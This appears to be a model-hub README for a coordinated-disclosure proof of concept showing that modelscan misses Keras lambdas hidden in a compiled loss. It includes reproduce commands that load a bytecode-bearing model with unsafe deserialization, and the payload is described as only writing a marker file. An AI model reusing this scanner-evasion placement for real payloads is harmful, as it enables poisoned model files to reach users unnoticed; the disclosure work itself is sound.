--- license: apache-2.0 tags: - security - coordinated-disclosure - modelscan --- # Benign PoC — modelscan Keras positional Lambda-scan bypass (compiled loss) Coordinated-disclosure proof-of-concept for Protect AI `modelscan`, submitted via huntr (Model File Vulnerability). modelscan's Keras/H5 Lambda detection (`KerasLambdaDetectScan` / `H5LambdaDetectScan`) is **positional**: it flags only a top-level layer with `class_name=="Lambda"`. A marshalled-bytecode lambda serialized as the model's compiled **loss** (in `compile_config`, which the DEFAULT `load_model(compile=True)` deserializes) is never inspected — so a model that executes attacker bytecode on load+evaluate scans **clean**. - `evil_loss.keras` — lambda in `compile_config.loss` → modelscan: **No issues found** (the bypass) - `control_lambda.keras` — the **identical** benign function as a Lambda **layer** → modelscan: **MEDIUM `Lambda`** (control) ## Reproduce ``` pip install tensorflow modelscan modelscan -p evil_loss.keras # -> No issues found (bypass) modelscan -p control_lambda.keras # -> MEDIUM 'Lambda' from Keras (same function, caught as a layer) python - <<'PY' import keras, numpy as np keras.config.enable_unsafe_deserialization() m = keras.models.load_model("evil_loss.keras", safe_mode=False, compile=True) m.evaluate(np.zeros((2,4)), np.zeros((2,1))) # -> writes /tmp/celvex_mfv_keras_marker.txt PY ``` The lambda reconstructs from marshalled bytecode and runs when the loss is invoked (evaluate/fit) after a default `load_model(compile=True, safe_mode=False)` — the same safe-mode premise as the accepted Lambda-layer class, but from a config position modelscan does not scan. **Strictly benign:** the lambda only writes a marker string (`CELVEX-MFV-KERAS-LOSS-MARKER`). No weaponization. Validated against modelscan 0.8.8 + tensorflow/keras 3.15.0.